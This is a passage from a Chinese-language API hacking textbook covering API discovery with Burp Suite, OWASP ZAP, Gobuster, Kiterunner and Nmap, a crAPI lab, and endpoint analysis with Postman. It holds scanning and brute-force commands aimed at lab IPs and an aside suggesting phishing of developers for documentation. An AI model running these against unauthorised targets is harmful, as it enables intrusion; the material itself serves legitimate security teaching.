Burp Suite 不仅能帮助你找到 API,还能成为验证你发现的主要工具。要使用 Burp 验证 API,拦截浏览器发送的 HTTP 请求,然后使用“Forward”按钮将其发送到服务器。接着,将请求发送到 Repeater 模块,你可以在此查看原始的 Web 服务器响应(参见图 6-17)。
如你在这个示例中看到的,服务器返回了一个 401 Unauthorized 状态码,这意味着我没有权限使用该 API。将此请求与请求一个不存在的资源进行比较,你会看到目标通常会以某种方式回应不存在的资源。(要请求一个不存在的资源,只需在 Repeater 中的 URL 路径后添加一些无意义的字符,比如GET /user/test098765。发送请求并查看 Web 服务器的响应。通常,你会收到 404 或类似的响应。)

图 6-17:Web 服务器返回 HTTP 401 Unauthorized 错误。
在WWW-Authenticate头部找到的详细错误信息揭示了路径/api/auth,验证了该 API 的存在。返回第四章,学习如何使用 Burp。
使用 OWASP ZAP 爬行 URI
主动侦察的目标之一是发现网页的所有目录和文件,也称为URI,即统一资源标识符。发现站点 URI 有两种方法:爬行和暴力破解。OWASP ZAP 通过扫描每个页面,查找对其他网页的引用和链接,来爬行网页以发现内容。
要使用 ZAP,打开它并点击跳过会话弹窗。如果它没有被选中,点击图 6-18 中显示的Quick Start标签。输入目标 URL 并点击Attack。

图 6-18:使用 OWASP ZAP 设置自动化扫描以扫描目标
自动化扫描开始后,你可以通过 Spider 或 Sites 标签查看实时结果。在这些标签中,你可能会发现 API 端点。如果没有找到明显的 API,请使用图 6-19 中显示的 Search 标签,并查找诸如“API”、“GraphQL”、“JSON”、“RPC”和“XML”等术语,以寻找潜在的 API 端点。

图 6-19:在 ZAP 自动化扫描结果中搜索 API 的强大功能
一旦你找到一个网站部分,想要更深入地调查,就开始使用 ZAP HUD 进行手动探索,与你的 Web 应用程序的按钮和用户输入字段互动。在此过程中,ZAP 会执行额外的漏洞扫描。导航到快速开始选项卡并选择手动探索(你可能需要点击返回箭头以退出自动扫描)。在手动探索屏幕上,如图 6-20 所示,选择你想要的浏览器,然后点击启动浏览器。

图 6-20:启动 Burp Suite 手动探索选项
ZAP HUD 应该已经启用。在 ZAP HUD 欢迎屏幕中点击继续到你的目标(见图 6-21)。

图 6-21:这是你启动 ZAP HUD 时看到的第一个屏幕。
现在你可以手动探索目标 Web 应用程序,同时 ZAP 会在后台自动扫描漏洞。此外,ZAP 在你浏览网站时会继续搜索其他路径。浏览器的左右边框现在应该有几个按钮。彩色标旗代表页面警报,这些可能是漏洞发现或有趣的异常。这些标记的警报将在你浏览网站时更新。
使用 Gobuster 进行暴力破解 URI
Gobuster 可以用来从命令行暴力破解 URI 和 DNS 子域名。(如果你更喜欢图形用户界面,可以查看 OWASP 的 Dirbuster。)在 Gobuster 中,你可以使用常见目录和子域名的字典,自动请求字典中的每一项,发送这些项目到 Web 服务器,并过滤有趣的服务器响应。Gobuster 生成的结果将为你提供 URL 路径和 HTTP 状态响应代码。(虽然你可以使用 Burp Suite 的 Intruder 进行 URI 的暴力破解,但 Burp Community 版本比 Gobuster 慢得多。)
每当你使用暴力破解工具时,都需要平衡字典的大小和完成结果所需的时间。Kali 在 /usr/share/wordlists/dirbuster 下存储了目录字典,这些字典非常全面,但需要一些时间才能完成。你也可以使用我们在第四章中设置的 ~/api/wordlists,它会加速你的 Gobuster 扫描,因为该字典相对较短,并且只包含与 API 相关的目录。
以下示例使用一个特定于 API 的字典来查找 IP 地址上的目录:
$ **gobuster dir -u http://192.168.195.132:8000 -w /home/hapihacker/api/wordlists/common_apis_160**
========================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
========================================================
[+] Url: http://192.168.195.132:8000
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /home/hapihacker/api/wordlists/common_apis_160
[+] Negative Status codes: 404
[+] User Agent: gobuster
[+] Timeout: 10s
========================================================
09:40:11 Starting gobuster in directory enumeration mode
========================================================
/api (Status: 200) [Size: 253]
/admin (Status: 500) [Size: 1179]
/admins (Status: 500) [Size: 1179]
/login (Status: 200) [Size: 2833]
/register (Status: 200) [Size: 2846]
一旦你找到像此输出中显示的/api目录这样的 API 目录,无论是通过爬虫还是暴力破解,你都可以使用 Burp 进一步调查它们。Gobuster 还有更多选项,你可以通过使用 -h 选项来列出它们:
$ **gobuster dir -h**
如果你想忽略某些响应状态码,可以使用 -b 选项。如果你想查看其他状态码,可以使用 -x。你可以通过以下方式增强 Gobuster 搜索:
$ **gobuster dir -u http://targetaddress/ -w /usr/share/wordlists/api_list/common_apis_160 -x 200,202,301 -b 302**
Gobuster 提供了一种快速枚举活动 URL 和查找 API 路径的方法。
使用 Kiterunner 发现 API 内容
在第四章中,我介绍了 Assetnote 的 Kiterunner,这是一款发现 API 端点和资源的最佳工具。现在是时候将这款工具投入使用了。
虽然 Gobuster 非常适合快速扫描 Web 应用程序以发现 URL 路径,但它通常依赖于标准的 HTTP GET 请求。Kiterunner 不仅会使用所有常见的 API HTTP 请求方法(GET、POST、PUT 和 DELETE),还会模仿常见的 API 路径结构。换句话说,Kiterunner 会尝试 POST POST /api/v1/user/create,而不是请求 GET /api/v1/user/create,更真实地模拟请求。
你可以像这样快速扫描目标的 URL 或 IP 地址:
$ **kr scan http://192.168.195.132:8090 -w ~/api/wordlists/data/kiterunner/routes-large.kite**
+----------------------+------------------------------------------------------------------------------------------+-------------------------------------------------------------------
| SETTING | VALUE |
+----------------------+------------------------------------------------------------------------------------------+-------------------------------------------------------------------
| delay | 0s |
| full-scan | false |
| full-scan-requests | 1451872 |
| headers | [x-forwarded-for:127.0.0.1] |
| kitebuilder-apis | [/home/hapihacker/api/wordlists/data/kiterunner/routes-large.kite] |
| max-conn-per-host | 3 |
| max-parallel-host | 50 |
| max-redirects | 3 |
| max-timeout | 3s |
| preflight-routes | 11 |
| quarantine-threshold | 10 |
| quick-scan-requests | 103427 |
| read-body | false |
| read-headers | false |
| scan-depth | 1 |
| skip-preflight | false |
| target | http://192.168.195.132:8090 |
| total-routes | 957191 |
| user-agent | Chrome. Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36 |
+----------------------+-----------------------------------------------------------------------
POST 400 [ 941, 46, 11] http://192.168.195.132:8090/trade/queryTransationRecords 0cf689f783e6dab12b6940616f005ecfcb3074c4
POST 400 [ 941, 46, 11] http://192.168.195.132:8090/event 0cf6890acb41b42f316e86efad29ad69f54408e6
GET 301 [ 243, 7, 10] http://192.168.195.132:8090/api-docs -> /api-docs/?group=63578528&route=33616912 0cf681b5cf6c877f2e620a8668a4abc7ad07e2db
如你所见,Kiterunner 会提供一份有趣的路径列表。服务器对某些 /api/ 路径的响应不同,表明该 API 存在。
注意,我们在没有任何授权头的情况下进行了此扫描,而目标 API 可能需要授权头。接下来,我将在第七章演示如何在使用 Kiterunner 时加入授权头。
如果你想使用文本字典而不是 .kite 文件,可以使用 brute 选项,并选择你想要的文本文件:
$ **kr brute** `<target>` **-w ~/api/wordlists/data/automated/nameofwordlist.txt**
如果你有多个目标,可以将目标列表保存为行分隔的文本文件,并将该文件用作目标。你可以使用以下任一行分隔的 URI 格式作为输入:
-
Test.com
-
Test2.com:443
Kiterunner 最酷的功能之一是能够重放请求。因此,你不仅能得到一个有趣的结果进行调查,还能深入剖析该请求为何有趣。要重放请求,只需将整行内容复制到 Kiterunner 中,使用 kb replay 选项粘贴,并包含你使用的字典:
$ **kr kb replay "GET 414 [ 183, 7, 8] http://192.168.50.35:8888/api/privatisations/count 0cf6841b1e7ac8badc6e237ab300a90ca873d571" -w ~/api/wordlists/data/kiterunner/routes-large.kite**
运行此命令会重放请求并提供 HTTP 响应。然后你可以检查响应内容,看看是否有值得调查的地方。我通常会审查有趣的结果,然后转向使用 Postman 和 Burp Suite 测试它们。
总结
在本章中,我们深入实践了如何使用被动和主动侦察发现 API。信息收集可以说是黑客攻击 API 最重要的部分,原因有几点。首先,如果找不到 API,你是无法攻击它的。被动侦察将为你提供有关组织的公开曝光和攻击面的一些见解。你可能会发现一些简单的漏洞,例如密码、API 密钥、API 令牌和其他信息泄露漏洞。
接下来,积极地与客户的环境互动,将揭示其 API 的当前操作上下文,例如托管 API 的服务器操作系统、API 版本、API 类型、所使用的支持软件版本、API 是否易受已知漏洞攻击、系统的预期用途以及它们如何协同工作。
在下一章,你将开始操作和模糊测试 API 以发现漏洞。
实验#3:为黑盒测试执行主动侦察
你的公司收到了知名汽车服务公司 crAPI Car Services 的委托,该公司希望你进行 API 渗透测试。在一些合作中,客户会提供像 IP 地址、端口号,甚至可能是 API 文档的详细信息。然而,crAPI 希望进行黑盒测试。公司希望你能找到它的 API,并最终测试是否存在任何漏洞。
在继续之前,确保你的 crAPI 实验实例已启动并运行。使用你的 Kali API 黑客机,首先发现 API 的 IP 地址。我的 crAPI 实例位于192.168.50.35。要发现你本地部署实例的 IP 地址,运行netdiscover,然后通过在浏览器中输入 IP 地址来确认你的发现。一旦你有了目标地址,使用 Nmap 进行常规检测扫描。
从常规 Nmap 扫描开始,了解你所面对的情况。如前所述,nmap -sC -sV 192.168.50.35 -oA crapi_scan通过使用服务枚举和默认的 Nmap 脚本扫描目标,并将结果保存为多种格式以供后续查看。
Nmap scan report for 192.168.50.35
Host is up (0.00043s latency).
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
1025/tcp open smtp Postfix smtpd
|_smtp-commands: Hello nmap.scanme.org, PIPELINING, AUTH PLAIN,
5432/tcp open postgresql PostgreSQL DB 9.6.0 or later
| fingerprint-strings:
| SMBProgNeg:
| SFATAL
| VFATAL
| C0A000
| Munsupported frontend protocol 65363.19778: server supports 2.0 to 3.0
| Fpostmaster.c
| L2109
|_ RProcessStartupPacket
8000/tcp open http-alt WSGIServer/0.2 CPython/3.8.7
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| Date: Tue, 25 May 2021 19:04:36 GMT
| Server: WSGIServer/0.2 CPython/3.8.7
| Content-Type: text/html
| Content-Length: 77
| Vary: Origin
| X-Frame-Options: SAMEORIGIN
| <h1>Not Found</h1><p>The requested resource was not found on this server.</p>
| GetRequest:
| HTTP/1.1 404 Not Found
| Date: Tue, 25 May 2021 19:04:31 GMT
| Server: WSGIServer/0.2 CPython/3.8.7
| Content-Type: text/html
| Content-Length: 77
| Vary: Origin
| X-Frame-Options: SAMEORIGIN
| <h1>Not Found</h1><p>The requested resource was not found on this server.</p>
这个 Nmap 扫描结果显示,目标有多个开放端口,包括 1025、5432、8000、8080、8087 和 8888。Nmap 提供了足够的信息,让你知道端口 1025 正在运行 SMTP 邮件服务,端口 5432 是 PostgreSQL 数据库,剩余的端口收到了 HTTP 响应。Nmap 扫描还揭示了 HTTP 服务正在使用 CPython、WSGIServer 和 OpenResty Web 应用服务器。
注意来自 8080 端口的响应,其头信息表明这是一个 API:
Content-Type: application/json and "error": "Invalid Token" }.
在进行常规 Nmap 扫描后,进行全端口扫描,以查看是否有隐藏在非常规端口上的内容:
$ **nmap -p- 192.168.50.35**
Nmap scan report for 192.168.50.35
Host is up (0.00068s latency).
Not shown: 65527 closed ports
PORT STATE SERVICE
1025/tcp open NFS-or-IIS
5432/tcp open postgresql
8000/tcp open http-alt
8025/tcp open ca-audit-da
8080/tcp open http-proxy
8087/tcp open simplifymedia
8888/tcp open sun-answerbook
27017/tcp open mongod
全端口扫描发现 MailHog Web 服务器运行在 8025 端口,而 MongoDB 则运行在非常规端口 27017。这些可能在我们稍后的实验中尝试利用 API 时派上用场。
初始 Nmap 扫描的结果显示,端口 8080 上运行着一个 Web 应用程序,这应该是下一个合乎逻辑的步骤:对 Web 应用程序进行动手分析。访问所有向 Nmap 发送 HTTP 响应的端口(即端口 8000、8025、8080、8087 和 8888)。
对我来说,这意味着在浏览器中输入以下地址:
端口 8000 返回了一个空白网页,显示消息“请求的资源在此服务器上未找到”。
端口 8025 显示了 MailHog Web 服务器,内容为“欢迎使用 crAPI”的邮件。我们将在后续实验中回到这个问题。
端口 8080 返回了我们在第一次 Nmap 扫描中收到的 { "error": "Invalid Token" }。
端口 8087 显示“404 页面未找到”错误。
最后,端口 8888 显示了 crAPI 登录页面,如图 6-22 所示。
由于授权相关的错误和信息,开放端口对你作为已认证用户可能更有用。

图 6-22:crAPI 登录页面
现在,使用 DevTools 调查该页面上的 JavaScript 源文件。访问网络(Network)选项卡并刷新页面,以便源文件加载。选择一个你感兴趣的源文件,右键点击并将其发送到源面板(Sources panel)。
你应该查找 /static/js/main.f6a58523.chunk.js 源文件。在此文件中搜索“API”,你将找到 crAPI API 端点的引用(见图 6-23)。
恭喜你!你已经使用 Chrome DevTools 通过主动侦察发现了你的第一个 API。只需通过浏览源文件,你就找到了许多独特的 API 端点。
现在,如果你查看源文件,你应该能注意到与注册过程相关的 API。作为下一步,拦截这些请求以查看 API 的实际操作是个不错的主意。在 crAPI 网页上,点击注册按钮。填写姓名、电子邮件、电话和密码字段。然后,在点击页面底部的注册按钮之前,启动 Burp Suite 并使用 FoxyProxy Hackz 代理拦截你的浏览器流量。一旦 Burp Suite 和 Hackz 代理运行起来,点击注册按钮。

图 6-23:crAPI 主 JavaScript 源文件
在图 6-24 中,你可以看到,当你注册新账户时,crAPI 注册页面会向 /identity/api/auth/signup 发出 POST 请求。这个请求在 Burp 中被捕获,验证了你发现了 crAPI API 的存在,并首次确认了已识别端点的一个功能。

图 6-24:使用 Burp Suite 拦截的 crAPI 注册请求
干得好!你不仅发现了一个 API,还找到了与之交互的方式。在我们的下一个实验中,你将与这个 API 的功能进行交互,并识别它的弱点。我鼓励你继续测试其他工具,看看能否找到更多的 API。你能通过其他方式发现 API 吗?
第八章:端点分析

现在你已经发现了一些 API,是时候开始使用并测试你找到的端点了。本章将介绍如何与端点交互,测试它们的漏洞,甚至可能在早期就获得一些小小的胜利。
所谓的“早期胜利”,是指在测试的这个阶段可能会发现的关键漏洞或数据泄露。API 是一种特殊的目标,因为你可能不需要高级技能就能绕过防火墙和端点安全;相反,你可能只需要知道如何按其设计使用一个端点。
我们将首先学习如何从 API 文档、规范和反向工程中发现 API 多种请求的格式,并利用这些资源构建 Postman 集合,以便在每个请求中进行分析。然后,我们将通过一个简单的过程开始你的 API 测试,并讨论如何发现你的第一个漏洞,比如信息泄露、安全配置错误、过度的数据暴露和业务逻辑缺陷。
查找请求信息
如果你习惯于攻击 Web 应用程序,那么你对 API 漏洞的追踪应该会有些熟悉。主要的区别是你不再有明显的 GUI 提示,如搜索栏、登录框和上传文件的按钮。API 黑客攻击依赖于那些出现在 GUI 中的项的后端操作——也就是带有查询参数的 GET 请求,以及大多数的 POST/PUT/UPDATE/DELETE 请求。
在你创建请求之前,你需要了解其端点、请求参数、必要的头部、身份验证要求和管理功能。文档通常会指引我们找到这些元素。因此,作为一名 API 黑客,你需要学会如何阅读和使用 API 文档,并且知道如何找到它。如果你能找到 API 的规范,更好的是,你可以将其直接导入 Postman,以自动创建请求。
当你执行黑盒 API 测试且文档完全不可用时,你将不得不自己反向工程 API 请求。你需要彻底进行模糊测试,探索 API 的端点、参数和头部要求,以便绘制出 API 的结构及其功能。
在文档中查找信息
正如你现在所知道的,API 的文档是由 API 提供者发布的供 API 使用者参考的一套说明。由于公共和合作伙伴 API 的设计目的是为了自助服务,公共用户或合作伙伴应该能够找到文档,理解如何使用 API,并且无需提供者的帮助即可完成。文档通常会位于如下目录下:
当文档不可公开获取时,尝试创建一个帐户并在验证身份后搜索文档。如果仍然找不到文档,我在 GitHub 上提供了一些 API 单词列表,帮助你通过一种叫做目录暴力破解的模糊技术发现 API 文档(github.com/hAPI-hacker/Hacking-APIs)。你可以使用subdomains_list和dir_list来暴力破解 Web 应用的子域名和域名,并有可能找到托管在网站上的 API 文档。在侦察和 Web 应用扫描过程中,很有可能会发现文档。
如果一个组织的文档确实被严格限制,你仍然有一些选择。首先,尝试使用你的 Google 黑客技能在搜索引擎和其他侦察工具中查找它。其次,使用 Wayback Machine(web.archive.org/)。如果目标曾公开发布过其 API 文档并随后撤回,可能会有该文档的存档。虽然存档文档很可能已经过时,但它应该能给你一些关于身份验证要求、命名方案和端点位置的线索。第三,当允许时,尝试社交工程技术来诱使组织分享其文档。这些技巧超出了本书的范围,但你可以通过短信钓鱼、语音钓鱼和网络钓鱼等手段,创造性地欺骗开发人员、销售部门以及合作伙伴来获取 API 文档的访问权限。假装是一个新客户,试图与目标 API 合作。
尽管 API 文档比较直白,但仍有一些要注意的元素。概述通常是 API 文档的第一部分。通常位于文档的开头,概述部分会提供如何连接和使用 API 的高层次介绍。此外,它还可能包含有关身份验证和速率限制的信息。
审查文档的功能,或者你可以使用给定 API 执行的操作。这些操作通常由 HTTP 方法(GET、PUT、POST、DELETE)和端点的组合来表示。每个组织的 API 都会有所不同,但你可以预期会找到与用户帐户管理、上传和下载数据的选项、不同的请求信息方式等相关的功能。
在向端点发出请求时,请确保注意请求的要求。要求可能包括某种身份验证、参数、路径变量、头部和请求体中的信息。API 文档应告诉你它需要什么,并说明这些信息属于请求的哪一部分。如果文档提供了示例,请利用它们帮助你。通常,你可以将示例值替换为你正在寻找的值。表 7-1 描述了这些示例中常用的一些约定。
表 7-1:API 文档约定
| 约定 | 示例 | 含义 |
|---|
| : 或 {} | /user/:id /user/{id}
/user/2727
/account/:username
/account/{username}
/account/scuttleph1sh | 冒号或花括号被一些 API 用来表示路径变量。换句话说,“:id”代表一个 ID 号的变量,而“{username}”代表你试图访问的账户用户名。 |
[] |
/api/v1/user?find**=[name] | 方括号表示输入是可选的。 |
|---|---|---|
|| |
“蓝色”|| “绿色”|| “红色” | 双竖线表示可以使用的不同可能值。 |
< > |
尖括号表示 DomString,它是一个 16 位字符串。 |
例如,以下是来自脆弱 Pixi API 文档的 GET 请求:
❶ GET ❷/api/picture/{picture_id}/likes `get a list of likes by user`
❸ Parameters
Name Description
x-access-token *
string Users JWT Token
`(header)`
picture_id * in URL string
number
`(path)`
你可以看到,方法是 GET ❶,端点是/api/picture/{picture_id}/likes ❷,唯一的要求是x-access-token头部和picture_id变量需要在路径中更新 ❸。现在你知道了,为了测试这个端点,你需要弄清楚如何获得 JSON Web Token(JWT)以及picture_id应该是什么格式。
然后,你可以将这些指令插入到 API 浏览器中,例如 Postman(见图 7-1)。如你所见,除了x-access-token之外的所有头部都会被 Postman 自动生成。
在这里,我通过身份验证登录到网页,并在图片下找到了picture_id。我利用文档查找了 API 注册流程,生成了 JWT。然后,我将 JWT 保存为变量hapi_token;在本章中,我们将使用变量。保存了 token 作为变量后,你可以通过将变量名包围在花括号中来调用它:{{hapi_token}}。(请注意,如果你正在处理多个集合,你可能会希望使用环境变量。)将它们组合起来,形成了一个成功的 API 请求。你可以看到,提供者回应了“200 OK”,以及请求的信息。

图 7-1:完全构造的请求,指向 Pixi 端点/api/{picture_id}/likes
在请求格式不正确的情况下,提供方通常会告知您哪里出了问题。例如,如果您在没有 x-access-token 的情况下请求相同的端点,Pixi 会返回以下信息:
{
"success": **false,**
"message": "No token provided."
}
您应该能够理解响应并进行必要的调整。如果您尝试复制粘贴端点,但没有替换 {picture_id} 变量,提供方会返回状态码 200 OK,并且响应体是一个带方括号([])的空内容。如果响应令您困惑,请返回文档并将您的请求与要求进行比较。
导入 API 规范
如果您的目标有规范,格式如 OpenAPI(Swagger)、RAML 或 API Blueprint,或者是 Postman 集合,找到它会比找到文档更有用。提供了规范后,您可以简单地将其导入 Postman,并查看构成集合的请求,以及它们的端点、头信息、参数和一些必需的变量。
规范的查找应当和它们的 API 文档一样容易或困难。它们通常看起来像图 7-2 中的页面。规范通常是纯文本格式,通常是 JSON 格式,但也可能是 YAML、RAML 或 XML 格式。如果 URL 路径没有明确标明规范类型,可以扫描文件的开头,查找描述符,例如 "swagger":"2.0",以确定规范及其版本。

图 7-2:Pixi Swagger 定义页面
要导入规范,首先启动 Postman。在工作区集合部分,点击导入,选择链接,然后添加规范的位置(见图 7-3)。

图 7-3:Postman 中的导入链接功能
点击继续,在最后的窗口中,选择导入。Postman 会检测规范并将文件导入为一个集合。集合导入到 Postman 后,您可以在此处查看其功能(见图 7-4)。

图 7-4:导入的 Pixi 应用集合
在导入新集合后,确保检查集合变量。你可以通过选择集合顶部的三个水平圆圈并选择编辑来显示集合编辑器。在这里,你可以选择集合编辑器中的变量选项卡来查看变量。你可以根据需要调整变量,并向该集合添加任何新变量。在图 7-5 中,你可以看到我已经将 hapi_token JWT 变量添加到我的 Pixi App 集合中。

图 7-5:Postman 集合变量编辑器
一旦完成更新,使用右上角的保存按钮保存你的更改。像这样将 API 规范导入到 Postman 可以节省你手动添加所有端点、请求方法、头信息和要求的几个小时。
反向工程 API
在没有文档和规范的情况下,你需要根据与 API 的交互进行反向工程。我们将在第七章中更详细地讲解这个过程。映射一个具有多个端点和一些方法的 API,可能会迅速变成一个需要攻克的庞大项目。为了管理这个过程,可以在一个集合下构建请求,从而彻底测试 API。Postman 可以帮助你跟踪所有这些请求。
使用 Postman 反向工程 API 有两种方法。一种方法是手动构建每个请求。虽然这可能有点繁琐,但它可以让你捕获你关心的精确请求。另一种方法是通过 Postman 代理 Web 流量,然后使用它捕获一系列请求。这一过程使得在 Postman 中构建请求变得更加容易,但你需要删除或忽略无关的请求。最后,如果你获得了有效的认证头,例如令牌、API 密钥或其他认证值,可以将其添加到 Kiterunner 中,以帮助映射 API 端点。
手动构建 Postman 集合
要在 Postman 中手动构建自己的集合,请在我的工作区下选择新建,如图 7-6 右上角所示。

图 7-6:Postman 的工作区部分
在“Create New”窗口中,创建一个新集合,然后设置一个 baseURL 变量,包含目标的 URL。创建 baseURL 变量(或使用已存在的变量)将帮助你快速在整个集合中修改 URL。API 可能非常庞大,修改许多请求中的小细节可能会很耗时。例如,假设你想测试一个有数百个独立请求的 API 的不同路径版本(如 v1/v2/v3)。使用变量替换 URL 意味着你只需要更新该变量,就能改变所有使用该变量的请求路径。
现在,每次你发现一个 API 请求时,都可以将其添加到集合中(见 图 7-7)。

图 7-7:新建 Postman 集合中的 Add Request 选项
选择集合选项按钮(三个水平圆圈),然后选择 Add Request。如果你想进一步组织请求,可以创建文件夹将请求归类。当你构建完集合后,可以像使用文档一样使用它。
通过代理构建 Postman 集合
逆向工程 API 的第二种方法是通过 Postman 代理网页浏览器流量,并清理请求,确保仅保留与 API 相关的请求。让我们通过将浏览器流量代理到 Postman 来逆向工程 crAPI API。
首先,打开 Postman 并为 crAPI 创建一个集合。在 Postman 界面右上角有一个信号按钮,你可以选择它来打开“Capture requests and cookies”窗口(见 图 7-8)。

图 7-8:Postman 捕获请求和 Cookies 窗口
确保端口号与在 FoxyProxy 中配置的端口一致。在第四章中,我们将其设置为端口 5555。将请求保存到你的 crAPI 集合中。最后,将“Capture Requests”设置为 On。现在,导航到 crAPI 网页应用并设置 FoxyProxy 将流量转发到 Postman。
当你开始使用该网页应用时,每个请求都会通过 Postman 发送并添加到选定的集合中。使用网页应用的每个功能,包括注册新账号、身份验证、执行密码重置、点击每个链接、更新个人资料、使用社区论坛和访问商店。彻底使用完网页应用后,停止代理并查看在 Postman 中创建的 crAPI 集合。
以这种方式构建集合的一个缺点是,你将捕获到一些与 API 无关的请求。你需要删除这些请求并整理集合。Postman 允许你创建文件夹来分组相似的请求,并且你可以根据需要重命名任何请求。在 图 7-9 中,你可以看到我按不同的端点对请求进行了分组。

图 7-9:一个组织良好的 crAPI 集合
将 API 认证要求添加到 Postman 中
一旦你在 Postman 中编译了基本的请求信息,接下来查找 API 的认证要求。大多数有认证要求的 API 都会提供获取访问权限的流程,通常是通过 POST 请求发送凭据,或者通过 OAuth,或者使用与 API 分开的方式,比如电子邮件,来获取令牌。良好的文档应该能清楚地说明认证过程。在下一章中,我们将专门花时间测试 API 认证流程。目前,我们将利用 API 认证要求来按预期使用 API。
作为一个典型的认证过程示例,让我们注册并认证到 Pixi API。Pixi 的 Swagger 文档告诉我们,我们需要向 /api/register 端点发送一个包含 user 和 pass 参数的请求,以获得 JWT。如果你已经导入了集合,你应该能够在 Postman 中找到并选择“创建认证令牌”请求(见 图 7-10)。

图 7-10:成功的 Pixi API 注册请求
预配置的请求包含一些你可能不知道的参数,而这些参数并不是认证所必需的。与其使用预配置的信息,我选择了 x-www-form-urlencoded 选项,并仅使用必要的参数(user 和 pass)。然后我添加了 user 和 pass 这两个键,并填写了 图 7-10 中显示的值。这个过程导致了成功的注册,状态码为 200 OK,并返回了一个令牌。
保存成功的认证请求是个好主意,这样你就能在需要时重复使用它们,因为令牌可能会快速过期。此外,API 安全控制可能会检测到恶意活动并撤销你的令牌。只要你的帐户没有被封锁,你应该能够生成另一个令牌并继续测试。此外,确保将令牌保存为集合或环境变量。这样,你就可以在后续请求中快速引用它,而不必每次都复制那个巨大的字符串。
当你获取到认证令牌或 API 密钥后,接下来应该做的事是将它添加到 Kiterunner 中。在第六章中,我们作为未认证用户使用 Kiterunner 绘制目标的攻击面,但向工具中添加认证头将大大提升你的结果。不仅如此,Kiterunner 会为你提供有效端点的列表,还会显示有趣的 HTTP 方法和参数。
在以下示例中,我们使用在 Pixi 注册过程中提供的 x-access-token。将完整的授权头添加到你的 Kiterunner 扫描中,使用 -H 选项:
$ **kr scan http://192.168.50.35:8090 -w ~/api/wordlists/data/kiterunner/routes-large.kite -H 'x-access-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7Il9pZCI6NDUsImVtYWlsIjoiaGFwaUBoYWNrZXIuY29tIiwicGFzc3dvcmQiOiJQYXNzd29yZDEhIiwibmFtZSI6Im15c2VsZmNyeSIsInBpYyI6Imh0dHBzOi8vczMuYW1hem9uYXdzLmNvbS91aWZhY2VzL2ZhY2VzL3R3aXR0ZXIvZ2FicmllbHJvc3Nlci8xMjguanBnIiwiaXNfYWRtaW4iOmZhbHNlLCJhY2NvdW50X2JhbGFuY2UiOjUwLCJhbGxfcGljdHVyZXMiOltdfSwiaWF0IjoxNjMxNDE2OTYwfQ._qoC_kgv6qlbPLFuH07-DXRUm9wHgBn_GD7QWYwvzFk'**
This scan will result in identifying the following endpoints:
GET 200 [ 217, 1, 1] http://192.168.50.35:8090/api/user/info
GET 200 [ 101471, 1871, 1] http://192.168.50.35:8090/api/pictures/
GET 200 [ 217, 1, 1] http://192.168.50.35:8090/api/user/info/
GET 200 [ 101471, 1871, 1] http://192.168.50.35:8090/api/pictures
向 Kiterunner 请求添加授权头应该能提高你的扫描结果,因为它将允许扫描器访问原本无法访问的端点。
功能分析
一旦你将 API 的信息加载到 Postman 中,你应该开始寻找问题。本节将介绍一种初步测试 API 端点功能的方法。你将从按预期使用 API 开始。在这个过程中,你需要关注响应、它们的状态码和错误信息。特别是,你要寻找作为攻击者可能感兴趣的功能,尤其是如果有信息泄露、数据暴露过度和其他容易利用的漏洞的迹象。寻找那些可能提供敏感信息的端点、允许你与资源交互的请求、允许你注入有效载荷的 API 区域,以及管理操作。除此之外,寻找任何允许你上传自己的有效载荷并与资源交互的端点。
为了简化这个过程,我建议通过 Burp Suite 代理 Kiterunner 的结果,这样你就可以重放感兴趣的请求。在之前的章节中,我向你展示了 Kiterunner 的重放功能,它让你能够查看单独的 API 请求和响应。要通过其他工具代理重放,你需要指定代理接收器的地址:
$ **kr kb replay -w ~/api/wordlists/data/kiterunner/routes-large.kite --proxy=http://127.0.0.1:8080 "GET 403 [ 48, 3, 1] http://192.168.50.35:8090/api/picture/detail.php 0cf6889d2fba4be08930547f145649ffead29edb"**
这个请求使用了 Kiterunner 的重放选项,正如 kb replay 所指定的那样。-w 选项指定了使用的字典,而 proxy 指定了 Burp Suite 代理。命令的其余部分是原始的 Kiterunner 输出。在 图 7-11 中,你可以看到 Kiterunner 的重放请求成功被 Burp Suite 捕获。

图 7-11:通过 Burp Suite 截获的 Kiterunner 请求
现在你可以分析这些请求,并使用 Burp Suite 重复所有在 Kiterunner 中捕获到的有趣结果。
测试预期用途
首先按照预期使用 API 端点。你可以从浏览器开始这个过程,但浏览器并不是为了与 API 交互而设计的,所以你可能想切换到 Postman。使用 API 文档查看如何构建请求,应该包含哪些头信息,添加哪些参数,以及如何进行身份验证。然后发送请求。调整你的请求,直到从服务提供商处收到成功的响应。
在继续进行时,问问自己以下问题:
-
我可以采取什么操作?
-
我可以与其他用户账户进行交互吗?
-
有哪些资源可用?
-
当我创建一个新资源时,如何识别该资源?
-
我可以上传文件吗?我可以编辑文件吗?
如果你手动与 API 交互,则不需要进行每一个可能的请求,但可以进行一些请求。当然,如果你在 Postman 中构建了一个集合,你可以轻松地进行所有可能的请求,并查看你从服务提供商那里收到的响应。
例如,向 Pixi 的 /api/user/info 端点发送请求,看看你从应用程序收到什么响应(见 图 7-12)。
为了向此端点发出请求,你必须使用 GET 方法。将 {{baseUrl}}/api/user/info 端点添加到 URL 字段。然后将 x-access-token 添加到请求头中。如你所见,我已将 JWT 设置为变量 {{hapi_token}}。如果成功,你应该会收到 200 OK 状态码,显示在响应上方。

图 7-12:将 x-access-token 设置为 JWT 的变量
执行特权操作
如果你已经获得了 API 文档的访问权限,文档中列出的任何管理操作都应该引起你的注意。特权操作通常会带来额外的功能、信息和控制。例如,管理员请求可能让你有能力创建和删除用户,搜索敏感用户信息,启用和禁用账户,将用户添加到组中,管理令牌,访问日志等。幸运的是,由于 API 的自助性质,管理员 API 文档信息通常对所有人开放。
如果安全控制到位,管理操作应该有授权要求,但永远不要假设它们真的有。我建议将这些操作分几个阶段进行测试:首先作为未认证用户,其次作为低权限用户,最后作为管理员用户。当你按照文档进行管理员请求,但没有任何授权要求时,如果有安全控制,应该会收到某种未经授权的响应。
